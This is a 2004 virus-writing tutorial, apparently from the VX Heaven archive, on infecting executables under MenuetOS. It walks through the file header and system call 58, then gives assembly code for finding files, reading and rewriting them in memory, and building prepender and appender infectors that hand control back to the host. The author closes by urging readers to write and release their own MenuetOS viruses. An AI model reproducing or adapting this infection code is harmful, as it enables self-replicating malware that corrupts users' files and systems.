VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

MenuetOS infection

Ready Rangers Liberation Front [5]
November 2004

[Back to index] [Comments]


  1. Intro words
  2. File Format
    1. General information
    2. Application Structur
    3. Header Information
  3. System Calls
    1. General Information
    2. System Call 58
  4. Virus functions
    1. Find viruscode in memory
    2. Find files
    3. Directory entries
    4. Read files to memory
    5. Write memory to files
  5. Infection Type
    1. Prepender
    2. Appender
  6. Last words

0) Intro words

MenuetOS is a new and free Operating System with GUI (Graphical User Interface) and many network tools like a eMail program or a IRC client, which fits on one disk. The Operating System is fully assembler written and has a great documation, more than that, it's open source. You can find the OS here: I got the idea of writing a virus for it, when I had the first contact with it: One boring day in a IRC-channel VxF talked about it, and joked about writing viruses for it. Well, that was the start of the whole story, and as I became bored of all that windows based virus, I thought it would be a nice challenge for me. About five month after that contact the first virus (Menuet.Oxymoron) was finished. As I had to learn alot of it by myself, I want to share this information with you. And that's also the only purpose of this article.

1) File Format

a) General information

MenuetOS first asks the user about the start configuration. After that it loads the files (from disk or harddisk) to the memory. There the data is available at directory '/RAMDISK/1/xxx'. The primary harddisk of your computer is saved as '/HARDDISK/1/xxx'. That's a basic information, and most important for the following dream (writing a MenuetOS virus).

b) Application Structur

The MenuetOS-file has a simple structur. It just consists of two parts: The Header and the executeable code. It looks like that:

           ---          ---
           ---  HEADER  ---
           ---          ---

           ---          ---
           ---  EXECUTE ---
           ---   ABLE   ---
           ---          ---
           ---   CODE   ---
           ---          ---

I will explain the header in the next part of the article. The executeable code contains your commands and your data, which must not be executed, therefor it will be intelligent if you write your data after the code, which means after the end of your application or after the jump to the host code. A very important information is, that every execution file are loaded at memory offset 0x0 (org 0x0). It's important because we could calculate with the static header informations and not any calculting any relative offsets. In that case, for instance the EP of the current file in memory is here: dword [0xC] (will be explained in the next part).

c) Header information

The header is the most important part you have to think of when you want to write a virus for this Operating System. There are two parts of header: the extanted and the not-extanted one. The not-extanted header consists of 0x1C (=28) bytes, which are very important. The extanted header has 8 bytes more than the other one, so it's size is 0x24 (=36) bytes. After the header some programs store important data, which means, the end of the header is not directly the beginning of the Executeable code.

Now I want to show you the Menuet's header, and explain the different parts and their use in a virus later on:

00h8 bytesFile ID
08h4 bytesrequired OS
0Ch4 bytesEntry Point
10h4 bytesFile length
14h4 bytesUsed memory
18h4 bytesextanted header / esp
1Ch4 bytesParameters
20h4 bytesIcon Information
File ID
This 2 dword tell the OS, that it's an executeable file. The File ID should be 'MENUET00' or 'MENUET01'. I haven't found any difference between these two ways.
Required OS
This double word tells the OS, which version of MenuetOS it needs. Up to now (June 2004), Menuet exists in it's version 0.77. The dword of a program which just run at MenuetOS 0.77+ would contain the value '77'. But I have just seen two different values: 1 and 38. Due to this, and the fact, that it's not important for the file, we could use it as our virus sign. Just overwrite this value with a number less than 77 (but not 1 or 38 :] ).
Entry Point
This is also a very important value for our virus. Here we get the information where the file's code starts. This value could be 0x1c, if it's no extanted header without data or much bigger, if it contains alot of data. Anyway, this value is also very important for finding the virus code in memory. If it's a prepender, the virus is at EP or if it's an appender, this is the value you could change, so that the virus runs first.
File length
This is the next important value. It's the size of the file, which means: Headerlength+codelength. This value is generated when the file is compiled. That means, if you add some bytes (the virus), the value won't change, which is perfect for writing a virus. If you want to write a prepender, you could store the first part of the host code at that offset, or if you want to write an appender, you could add your viruscode here.
Used memory
The doubleword is the amount of memory reserved by OS for the application. As the virus also uses alot of memory (reading files, file rebuilding), this is very important. You have to check if the value is bigger than your required memory. If you infect a file using too few memory, the file won't work anymore.
Extanted Header / esp
This part of the header tells us, if it uses an extanted header or not. If the dword is 0x0, it doesn't use an extanted header. Otherwise it uses one. In that case, the value is the offset of the stack (esp). It's not important for the file, because pop/push always works without that offset.
Parameters & Icon Information
These values are important for the host file, but not for us, therefor I won't explain it more exactly.

2) System Calls

a) General information

System Calls are the only way how you can communicate with the OS. Such a System call allow you to use general functions of the OS. To find information about that calls, you have to look at the sysfuncs.txt file included in the MenuetOS-package. There you can find the exact way of using every of the 66 (some of them aren't finished so far) calls. Generally a call looks like this:

          eax = function numbers
          ebx, ecx, edx, esi, edi = information for the call
          int 0x40 = System call

An example - sysfuncs.txt contains this content:

          05 = DELAY X/100 SECS

              ebx delay in 1/100 secs
              ret: nothing changed

If we want a 0.5 second delay in our program, we have to do it as the following code shows you:

          mov  eax, 5	        ; Function number: DELAY X/100 SECS
          mov  ebx, 50          ; 50/100 sec = 0.5 seconds
          int  0x40             ; System call

b) System Call 58

System Call 58 is the only important function for our virus. Information about Function 58 by sysfuncs.txt:

          58 = SYSTEM TREE ACCESS

               ebx    pointer to fileinfo block

               path examples:




               dd   0                    ; 0=READ    (delete/append)
               dd   0x0                  ; 512 block to read 0+
               dd   0x1                  ; blocks to read (/bytes to write/append)
               dd   0x20000              ; return data pointer
               dd   0x10000              ; work area for os - 16384 bytes
               db   '/RAMDISK/FIRST/KERNEL.ASM',0  ; ASCIIZ dir & filename



               dd   1                    ; 1=WRITE
               dd   0x0                  ; not used
               dd   10000                ; bytes to write
               dd   0x20000              ; source data pointer
               dd   0x10000              ; work area for os - 16384 bytes
               db   '/RAMDISK/FIRST/KERNEL.ASM',0  ; ASCIIZ dir & filename


               ; LBA


               dd   8                    ; 8=LBA read (/9=LBA write)
               dd   0x0                  ; 512 block to read (write)
               dd   0x1                  ; set to 1
               dd   0x20000              ; return data pointer
               dd   0x10000              ; work area for os (16384 bytes)
               dd   '/HARDDISK/SECOND',0 ; physical device ; ASCIIZ

                    ( or /rd/1/ )

                    LBA read must be enabled with setup

               NOTE: The asciiz in this context refers to the physical device and
                     not to logical one.
                     For hd: first=pri.master, second=pri.slave
                             third=sec.master, fourth=sec.slave



               dd   16                   ; 16=START APPLICATION
               dd   0x0                  ; nop
               dd   param                ; 0 or parameter area (ASCIIZ)
               dd   0x0                  ; nop
               dd   0x10000              ; work area for os - 16384 bytes
               db   '/HD/1/MENUET/APPS/FIRE',0  ; ASCIIZ dir & filename

               ret: eax = pid or 0xfffffff0+ for error

This way we can find files, read file contents and write files, but this be explained later on.

3) Virus functions

a) Find viruscode in memory

Finding the code of the virus in memory is very important for the virus, otherwise you can't infect other files. Now there are two ways to find the code, which depends on what kind of virus it is - a prepender or appender. (I don' think of EPO infectors so far). The easiest way to find the code is a call, and you pop your offset from the stack to a register. But a bad thing at saving it in a register is, that you can't use that register anymore (because the offset must not be overwritten). Information about CALL by OPCODES2.HLP:

Pushes Instruction Pointer (and Code Segment for far calls) onto stack and loads Instruction Pointer with the address of proc-name.

If you call a lable at the start of the virus, the stack contains the offset call. And that's the assembler source for this way:

                call    virus           ; Push current memory offset to stack
                pop     ecx             ; Pop current memory offset to ecx
                sub     ecx, 5          ; Get the startoffset of the viruscode in memory
                xchg    ebp, ecx        ; Move ecx to ebp <- NOTE: You must not pop ebp,
                                        ;                    otherwise the OS freezes.

As I told you, there is another way to find the Virusstart-offset, I'll tell you now: Prepender: This type infects files before the real code = at the Entry Point.

As you know from header-information that the Entry Point of the code is at offset dword [0xC] and the application is loaded at org 0x0, we can use the following code:

          mov   ebp, dword [0xC]        ; ebp = 0x0 + dword [0xC]

Appender: The other type of viruses infects files behind the file. Now we know the memory start of the file (org 0x0), and the filelength of the infected file: dword [0x10]. So we can do the same thing again.

          mox ebp, dword [0x10]         ; ebp = 0x0 + dword [0x10]

b) Find files

This is of corse on of the most important parts of a virus, and in MenuetOS it's not that easy. The reason for that is, that there is no direct function for it. But, as I have told you, we have SYSTEM CALL 58, which could do that for us. With function 58 we can read files, but not only, we can even read directory entries. Just look at the following example:

          mov  eax, 58
          mov  ebx, dir_block
          int  0x40

               dd   0                    ; 0=READ
               dd   0x0                  ; size of reading block: 512 + x
               dd   0x16                 ; blocks to read = 16*512 = 8192 bytes
               dd   0x20000              ; Offset where to save data
               dd   0x10000              ; work area for os - 16384 bytes
               db   '/RAMDISK/FIRST',0   ; Directory Name

Now we have the directory entries at memory offset 0x20000. The exact information about that will follow in the next capture. For now it's just important to know, that the first filename (always 11 letters) is at offset 0x0, and the whole information of one file is 32 bytes. That means, you can find files here: 0x0, 0x20, 0x40, 0x60, ... As we read 16*512 bytes, we got 100 files. You could get the filenames with a code like that:

                   mov  ebx, 0x20000    ; Offset in memory

                  add   ebx, 32	        ; Get next file-start-offset
                  cmp   ebx, 0x22000    ; Compair if we got all file
                  jne   nextfile        ; If not, get next file

c) Directory Entries

Last capter talked about finding files via Directory Entries, but so far I haven't explained you the 32 bytes of a file. Well, here we are. The Directory Entry contains important informations like the file attributes or the information about a deleted file. We have to use this informations for avoiding the infection of deleted files or directories. If we don't avoid them, the virus will freeze the system. Now look at the following list:

          struct msdos_dir_entry {
          __u8name[8],ext[3];/* name and extension */       <-- IMPORTANT
          __u8attr;/* attribute bits */                     <-- IMPORTANT
          __u8    lcase;/* Case for base and extension */
          __u8ctime_ms;/* Creation time, milliseconds */
          __u16ctime;/* Creation time */
          __u16cdate;/* Creation date */
          __u16adate;/* Last access date */
          __u16   starthi;/* High 16 bits of cluster in FAT32 */
          __u16time,date,start;/* time, date and first cluster */
          __u32size;/* file size (in bytes) */              <-- IMPORTANT

I have already told you, that the first 11 bytes contain the file name. But it contains also another information: If the first byte of the filename is 0xE5, we have a deleted file. To avoid them you should compair the first byte of the filename with 0xE5, and if it's equal, get the next file.

The attribute bytes contains 7 values:

          #define ATTR_NONE    0  /* no attribute bits */
          #define ATTR_RO      1  /* read-only */
          #define ATTR_HIDDEN  2  /* hidden */
          #define ATTR_SYS     4  /* system */
          #define ATTR_VOLUME  8  /* volume label */
          #define ATTR_DIR     16 /* directory */           <-- IMPORTANT
          #define ATTR_ARCH    32 /* archived */

If ATTR_DIR = 1, we have a directory, and we should avoid to infect it. To do this, you could use the following code:

          mov   cl, [ebx+11]    ; Move the attribute bits to cl
          and   cl, 0x10        ; AND 0x10 ( ???1 ???? = FOLDER )
          jnz   nextfile        ; If not zero, get next file

The last important part of the Directory Entries is the filesize. You need the filesize for reading the file to memory, because MenuetOS don't allow us to read a whole file, but we have to include the length which we want to read.

d) Read files to memory

We have to read our filecontent to the memory, because we just can infect the file (= include the virus code and do some other stuff) in memory. To do that, we have to search the System Call, which can do it. Well, the call is´, again, the function 58. Look at a code reading a file:

          mov   eax, 58
          mov   ebx, fileinfo
          int   0x40


               dd   0                    ; 0=READ
               dd   0x0                  ; 512+x / block to read
               dd   0x1                  ; blocks to read
               dd   0x20000              ; return data pointer
               dd   0x10000              ; work area for os - 16384 bytes
               db   '/RAMDISK/FIRST/FILENAME',0  ; ASCIIZ dir & filename

Now we two problems: First: We don't know how much blocks we have to read (because every file has a different filesize) and second we don't have the filename at the fileblock. We just have both information at the Directory Entry. What to do? As our code is executed at 0x0 in memory, we could write that informations to memory via 'stos'. But one more problem: The filesize at the Directory Entry is stored in bytes, but we need the blocks we have to read. A solution is the Assembler-command 'shr'.

Shifts the destination right by "count" bits with zeroes shifted in on the left. The Carry Flag contains the last bit shifted out.

Let me show you, how that works. Let's say, we have a file with the size with 10.000 bytes:

          mov eax, filesize     <-- eax = 10011100010000b
          shr eax, 9            <-- eax = 10011b = 19d = 19 blocks
          inc eax               <-- eax = 20d
                                <-- 20*512 = 10.240 = we read got all bytes of the file

Let's have a look at that:

          ;; ebx=offset of filename at Directory Entry

          mov   eax, dword [ebx+28]     ; Move the filesize to eax
          shr   eax, 9                  ; Get the blocks to read
          inc   eax		        ; For reading the last not completed block

          mov   edi, flb_bs             ; Move the offset of the
          stosb                         ; Write [al] to di in memory (number of blocks to flb_bs)

          mov   ecx, 11                 ; Move 11 to ecx (counter=11)
     fn2fb:                             ; File Name to File Block
          mov   al, [ebx]               ; Move the ebx-value to al
          stosb                         ; Write al to memory at offset edi (=11 letter buffer)
          inc   ebx                     ; Get next letter
     loop       fn2fb                   ; Jump to fn2fb if ecx>0 && dec ecx

          mov   eax, 58                 ; SYSTEM TREE ACCESS
          mov   ebx, fileblock          ; ebx=offset of fileblock
          int   0x40                    ; SYSTEM CALL

                  dd   0
                  dd   0x0
          flb_bs: dd   0x1              ; How much blocks to read (filesize/512)
                  dd   0x25000          ; Here the filecontent will be stored
                  dd   0x10000
                  db '/RAMDISK/FIRST/'  ; This is the Direction we want to infect
          fle     db '           ',0    ; The 11 byte buffer for the filename 0-ended

This way we read the whole file to 0x25000 in memory. We just have to rewrite the code in memory and write the memory-content at that offset back to the file.

e) Write memory to files

After rewriting the file in memory, we have to write the file back. All we need we have. The filename in memory in the file-block, the numbers of blocks at the right address. The only thing we have to do is to change the first dword in the file-block. This dword is the kind of action (read/write, append and delete aren't ready so far). Well, we could use two different fileblocks, but that way we have to copy the filenames and the numbers of blocks. Well, I'll explain how to do it with one block. We have to write at address of file_block beginn the option 1. Let's look at the source:

          add   edi, file_block  ; Offset of fileblock
          mov   al, 1            ; What to write (1 for writing)
          stosb                  ; Write al to memory at offset edi

          mov   eax, 58          ; SYSTEM TREE ACCESS
          mov   ebx, file_block  ; File_block offset to ebx
          int   0x40             ; SYSTEM CALL

                  dd   0                ; First it's read, but we need write
                  dd   0x0
          flb_bs: dd   0x1              ; How much blocks to read (filesize/512 - still there)
                  dd   0x25000          ; The content of this offset will be written to the file
                  dd   0x10000
          filen   db '/RAMDISK/FIRST/'  ; This is the Direction we want to infect
          fle     db '           ',0    ; The 11 byte buffer for the filename 0-ended (still there)

This code writes the 'WRITE-option' to fileblock-start, and then write flb_bs*512 bytes to filen until there is a NULL. The full filename and the numbers of fileblocks to write are still there because of the reading before.

4) Infection Type

a) Prepender

A Prepender virus infects its victim infront of the original host code and stores the code of the first part of the file at the end of the file. Such a file looks like that:

          Uninfected Sample:           Infected Sample:

          ++++++++++++                 +++++++++++++
          ++        ++                 ++         ++
          ++ HEADER ++                 ++ HEADER  ++
          ++        ++                 ++         ++
          ++++++++++++                 +++++++++++++
          ++++++++++++                 *************
          ++        ++                 **  VIRUS  **
          ++  HOST  ++                 *************
          ++        ++                 +++++++++++++
          ++  CODE  ++                 ++ REST OF ++
          ++        ++                 ++   HOST  ++
          ++++++++++++                 +++++++++++++
                                       ##  START  ##
                                       ## OF HOST ##

The virus searchs for the filesize of the host first. Than it copies the first bytes, which will be the virus-buffer, to an offset. This offset depends on the filesize. If the virus+header of file is bigger than the file, we would overwrite the restored bytes with the virus. Under that contition we have to restore the code at offset [viruslength+headerlenght]. Otherwise, if the file is bigger, we have to write the first hostpart at the end of the file. Next step is to infect the file, which means to insert the virusbody to the buffer at the filestart. The filestart is, as we already know, at offset 'dword [0xC]' stored. The filelength is at offset 'dword [0xC]'. After successful execution of the virus, we give the control back to the host. We have to write the original host-start (which is at the end of the file = dword [0x10] or at dword [0xC]+viruslength: You just have to check) back to the real file-start (dword [0xC]). We have to write the length of the virus to the filestart. But now we have one big problem: We can't overwrite our code as long as it is still running (writing back the host), so we have to be tricky: We write the restoring code for the host to a unused memory address and jump to that address.

Look at the source:

          rebu:                         ; Rebuild the host code
                mov     ebx, dword [0x10]        ; Move the file length to ebx, to get the old hostcode offset

                mov     edx, dword [0xC]        ; Move the offset of the head-length to edx
                add     edx, viruslength        ; Add the viruslength to edx

                cmp     ebx, edx        ; Check if the file is smaller than the virus
                jge     notsmall2       ; If not greater or equal, go on

                mov     ebx, edx        ; Move the new offset to ebx


                mov     edi, dword [0xC]        ; Where to write: 0xC
                mov     ecx, viruslength        ; How much to write

               rbhc:                    ; Rebuild host code
                mov     al, [ebx]       ; One byte of the saved host code to al
                stosb                   ; Write al (Host code) to edi (Entry Point of file)
                inc     ebx             ; Get next byte
               loop rbhc                ; Jump to rbch if ecx>0 && inc ecx

               jmp      dword [0xC]     ; Jump to Entry Point, now with the original code
           rebuend:                     ; Rebuild host code: End

b) Appender

This is the second infection type. This kind of virus copies the virus after the whole file and modifies the header, exactly the Entry Point. After the infection is finished, the virus restores jumps the original Entry Point. The infected file looks like this:

          Uninfected Sample:           Infected Sample:

          ++++++++++++                 ++++++++++++++
          ++        ++                 ++ MODIFIED ++
          ++ HEADER ++                 ++  HEADER  ++
          ++        ++                 ++          ++
          ++++++++++++                 ++++++++++++++
          ++++++++++++                 ++++++++++++++
          ++        ++                 ++          ++
          ++  HOST  ++                 ++   HOST   ++
          ++        ++                 ++          ++
          ++  CODE  ++                 ++   CODE   ++
          ++        ++                 ++          ++
          ++++++++++++                 ++++++++++++++
                                       **  VIRUS   **
                                       ** JUMP TO  **
                                       **    EP    **

An Appender searchs for the filesize and copies itself to that offset. After that, it searchs for the Entry Point, overwrite it with the virusstart (dword [0xC]=dword[0x10]). Than it writes the original Entry Point to the offset of the jump, which gives back the control to the host. This way MenuetOS will execute the virus infront of the host, which will be executed after the virus starts.

5) Last words

Finally, I want to say that I'm very happy after finish this article. This project (MenuetOS) used some hunderts of hours. First I had to analyse the way MenuetOS works, than I had to read many sources of Menuet-executeables, and I tried to understand them (which was sometimes very hard, because not everything was explained). Than learning about the Systemcalls and other Menuet things was nessecary. Next step to learn was the file-format (at least the header). Time went on, and I stared to understand how everything worked. Simple codes by me did what they were suposed to do, and out of some simple codes, a new virus was born. The reason, why I have written this article is the fact, that I didn't want to let the whole informations I collected last few month became lost. Well, here is that collection. In the end, and this should be it, it's important for me to say 'Thank You' to some persons, who were very important for all my MenuetOS descovering:

Ville Mikael Turjanmaa
The main-coder and founder of MenuetOS. ( You seems to be a really cool and damn smart guy. MenuetOS is a great field for learning about assembly language and OS developing. It really helped me alot to increase my asm knowlegde. This way I want to say Thanks for you, and also for your interesting email-answere. Please keep on working on that tool, and maybe you will also include a little AV for that OS. ;) Take care!
The guy, who introduced me in Menuet and inspire me in writing a virus for it. Much thanks for that all. And also much thanks for everything else you have ever done for me, you're one of the most important guys in my cyberlife...
The great progging-freak and Menuet-messiah at #MenuetOS. Without you, nobody could read this article, therefor a big thanks for all the time you offered to explain me different strange things at MenuetOS' behaviour. Big sorry that I didn't say what for i need all the information, I hope you don't hate me because of that.
The damn friendly guy in IRC, who knows help for every problem. Molto grazie per tutti hai fatto per me. (damn, my italian is even worse than my english) :D And thanks for telling me about the KAV name of my virus (Menuet.Xymo.a)!
Theatre Of Tragedy
Thank you for your relaxing gothic sound. It helps alot listening to your music after 2 hours of no success at anything. You inspire me to on, and let me feel like a god! :)
Darkfall & Stuck Mojo
Great trash metal, which makes me feel better than a god after finishing any part of the code, leting a code do what it's suposed to do, and so on. It gives me the needed energy for working on the next part.
Music of the 60s, 70s & 80s
Great bands like Uriah Heep, KISS, ACDC, The Byrds, Deep Purple, Scorpions, Iron Maiden, CCR, Manowar and so on give a cool and relaxed feeling, which is important for writing and coding...

But I don't want to just thank these guys above, but also YOU, reader. Thank you for reading this piece of code. I really hope that you have enjoyed this and that you learned some things (maybe not alot, but maybe some little things). I would be happy as hell if you would write your own virus for MenuetOS (and, of course, release it). It's not very difficult, so just try it! Last hello goes to my RainBow, thanks for being with me! Last thing I want to say is: see you out there soon...

                                                        - - - - - - - - - - - - - - -
                                                          Second Part To Hell/[rRlf]
                                                          written from march-june 2004
                                                        - - - - - - - - - - - - - - - 
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka